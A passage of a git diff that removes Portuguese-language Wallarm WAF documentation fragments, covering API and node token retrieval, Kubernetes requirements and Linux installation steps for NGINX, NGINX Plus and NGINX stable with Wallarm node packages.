contêiner Docker implantado de uma das seguintes maneiras: - -* **Nas variáveis do ambiente**. Esta opção permite a configuração de apenas os parâmetros básicos do nó de filtragem. A maioria das [diretivas][nginx-waf-directives] não pode ser configurada através de variáveis de ambiente. -* **No arquivo de configuração montado**. Esta opção permite a configuração completa do nó de filtragem através de qualquer [diretiva][nginx-waf-directives]. Com este método de configuração, as variáveis de ambiente com as configurações de conexão do nó de filtragem e do Wallarm Cloud também são passadas para o contêiner. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/get-api-or-node-token.md b/include-pt-BR/waf/installation/get-api-or-node-token.md deleted file mode 100644 index 585a76c983..0000000000 --- a/include-pt-BR/waf/installation/get-api-or-node-token.md +++ /dev/null @@ -1,14 +0,0 @@ -1. Obtenha o token Wallarm do [tipo apropriado][wallarm-token-types]: - - === "Token de API" - - 1. Abra o Console Wallarm → **Configurações** → **Tokens de API** no [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com a função `Deploy`. - 1. Copie este token. - - === "Token de Nó" - - 1. Abra o Console Wallarm → **Nós** no [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. Faça uma das seguintes ações: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Use o grupo de nó existente - copie o token usando o menu do nó → **Copiar token**. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/info-about-nginx-version-in-docker-container.md b/include-pt-BR/waf/installation/info-about-nginx-version-in-docker-container.md deleted file mode 100644 index 9be83674cc..0000000000 --- a/include-pt-BR/waf/installation/info-about-nginx-version-in-docker-container.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Versão do NGINX no container Docker" - O container Docker usa NGINX da versão `1.14.x`. Você pode descobrir algumas vulnerabilidades nesta versão do NGINX, mas na verdade a maioria delas são [corrigidas pela equipe Debian](https://security-tracker.debian.org/tracker/source-package/nginx). O container Docker executa serviços no Debian 10.x, portanto, as vulnerabilidades descobertas não devem resultar em comprometimento de dados. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/info-about-using-one-token-for-several-nodes.md b/include-pt-BR/waf/installation/info-about-using-one-token-for-several-nodes.md deleted file mode 100644 index 077aa5b52f..0000000000 --- a/include-pt-BR/waf/installation/info-about-using-one-token-for-several-nodes.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Usando um token para várias instalações" - Você pode usar um token em várias instalações, independentemente da [plataforma][deployment-platform-docs] selecionada. Isso permite o agrupamento lógico de instâncias de nó na interface de usuário do Wallarm Console. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de propriedade de um determinado desenvolvedor. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/kong-ingress-controller-reqs.md b/include-pt-BR/waf/installation/kong-ingress-controller-reqs.md deleted file mode 100644 index 30ea540a92..0000000000 --- a/include-pt-BR/waf/installation/kong-ingress-controller-reqs.md +++ /dev/null @@ -1,11 +0,0 @@ -* Versão da plataforma Kubernetes 1.22-1.26 -* Recursos K8s Ingress que configuram o Kong para rotear chamadas de API para os microserviços que você deseja proteger -* Compatibilidade dos recursos K8s Ingress com o Kong 3.1.x -* Gerenciador de pacotes [Helm v3](https://helm.sh/) -* Acesso a `https://us1.api.wallarm.com` para trabalhar com o US Wallarm Cloud ou a `https://api.wallarm.com` para trabalhar com o EU Wallarm Cloud -* Acesso a `https://charts.wallarm.com` para adicionar os gráficos Helm da Wallarm -* Acesso aos repositórios Wallarm no Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Acesso à conta com a função de **Administrador** no Wallarm Console para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou a [Nuvem da UE](https://my.wallarm.com/) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-customization-options.md b/include-pt-BR/waf/installation/linux-packages/common-customization-options.md deleted file mode 100644 index 3999ef989f..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-customization-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Alocando recursos para os nós Wallarm][memory-instr] -* [Registrando variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md deleted file mode 100644 index c09a16f288..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. Adicione os repositórios Debian/CentOS - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 2. Instale o pacote NGINX com Wallarm - -O comando instala os seguintes pacotes: - -* `nginx` para NGINX -* `libnginx-mod-http-wallarm` ou `nginx-mod-http-wallarm` para o módulo NGINX-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-docs], database Tarantool, e pacotes adicionais NGINX-Wallarm - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. Conecte o módulo Wallarm - -Copie os arquivos de configuração para a configuração do sistema: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. Conecte o nó de filtragem à Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md deleted file mode 100644 index 53e4b48583..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. Adicione os repositórios Debian/CentOS - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 2. Instale o NGINX com os pacotes Wallarm - -O comando instala os seguintes pacotes: - -* `nginx` para o NGINX -* `libnginx-mod-http-wallarm` ou `nginx-mod-http-wallarm` para o módulo NGINX-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-docs], o banco de dados Tarantool e pacotes adicionais do NGINX-Wallarm - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. Conecte o módulo Wallarm - -Copie os arquivos de configuração para a configuração do sistema: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. Conecte o nó de filtragem ao Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md deleted file mode 100644 index 70dae58a60..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. Instale o NGINX Plus e as dependências - -Instale o NGINX Plus e suas dependências usando estas [instruções oficiais do NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/). - -!!! info "Instalando no Amazon Linux 2.0.2021x e versões anteriores" - Para instalar o NGINX Plus no Amazon Linux 2.0.2021x e anteriores, use as instruções do CentOS 7. - -## 2. Adicione os repositórios Wallarm - -O nó Wallarm é instalado e atualizado pelos repositórios Wallarm. Para adicionar repositórios, use os comandos para a sua plataforma: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e versões anteriores" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 3. Instale os pacotes Wallarm - -Os seguintes pacotes são necessários: - -* `nginx-plus-module-wallarm` para o módulo NGINX Plus-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-instr], banco de dados Tarantool, e pacotes adicionais do NGINX Plus-Wallarm - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e versões anteriores" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. Conecte o módulo Wallarm - -1. Abra o arquivo `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. Adicione a seguinte diretiva logo após a diretiva `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - Exemplo de configuração com a diretiva adicionada: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. Copie os arquivos de configuração para a configuração do sistema: - - ``` bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Conecte o nó de filtragem à Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md deleted file mode 100644 index 0c9b8f8382..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. Instale o NGINX Plus e as dependências - -Instale o NGINX Plus e suas dependências usando estas [instruções oficiais do NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/). - -!!! informação "Instalando no Amazon Linux 2.0.2021x e inferior" - Para instalar o NGINX Plus no Amazon Linux 2.0.2021x e inferior, use as instruções do CentOS 7. - -## 2. Adicione os repositórios Wallarm - -O nó Wallarm é instalado e atualizado a partir dos repositórios Wallarm. Para adicionar repositórios, use os comandos para sua plataforma: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Instale os pacotes Wallarm - -Os seguintes pacotes são necessários: - -* `nginx-plus-module-wallarm` para o módulo NGINX Plus-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-instr], banco de dados Tarantool e pacotes adicionais NGINX Plus-Wallarm - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. Conecte o módulo Wallarm - -1. Abra o arquivo `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. Adicione a seguinte diretiva logo após a diretiva `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - Exemplo de configuração com a diretiva adicionada: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. Copie os arquivos de configuração para a configuração do sistema: - - ```bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Conecte o nó de filtragem à Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md deleted file mode 100644 index ab7592da8d..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. Instale a versão estável do NGINX e as dependências - -Estas são as seguintes opções para instalar o NGINX `estável` a partir do repositório NGINX: - -* Instalação a partir do pacote construído - - === "Debian" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "Ubuntu" - 1. Instale as dependências necessárias para o NGINX estável: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 1. Instale o NGINX estável: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - - 1. Se um repositório EPEL estiver adicionado no CentOS 7.x, por favor, desabilite a instalação do NGINX estável a partir deste repositório, adicionando `exclude=nginx*` ao arquivo `/etc/yum.repos.d/epel.repo`. - - Exemplo do arquivo modificado `/etc/yum.repos.d/epel.repo`: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. Instale o NGINX estável a partir do repositório oficial: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* Compilação do código fonte a partir do ramo `estável` do [repositório NGINX](https://hg.nginx.org/pkg-oss/branches) e instalação com as mesmas opções. - - !!! info "NGINX para AlmaLinux, Rocky Linux, Oracle Linux 8.x" - Esta é a única opção para instalar o NGINX no AlmaLinux, Rocky Linux ou Oracle Linux 8.x. - -Mais informações detalhadas sobre a instalação do NGINX estão disponíveis na [documentação oficial do NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/). - -## 2. Adicione os repositórios Wallarm - -O nó Wallarm é instalado e atualizado a partir dos repositórios Wallarm. Para adicionar repositórios, use os comandos para sua plataforma: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 3. Instale os pacotes Wallarm - -Os seguintes pacotes são necessários: - -* `nginx-module-wallarm` para o módulo NGINX-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-docs], base de dados Tarantool, e pacotes adicionais do NGINX-Wallarm - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. Conecte o módulo Wallarm - -1. Abra o arquivo `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. Certifique-se de que a linha `include /etc/nginx/conf.d/*;` foi inserida no arquivo. Se esta linha não estiver presente, adicione-a. -3. Adicione a seguinte diretiva após a diretiva `worker_processes`: - - ```bash - 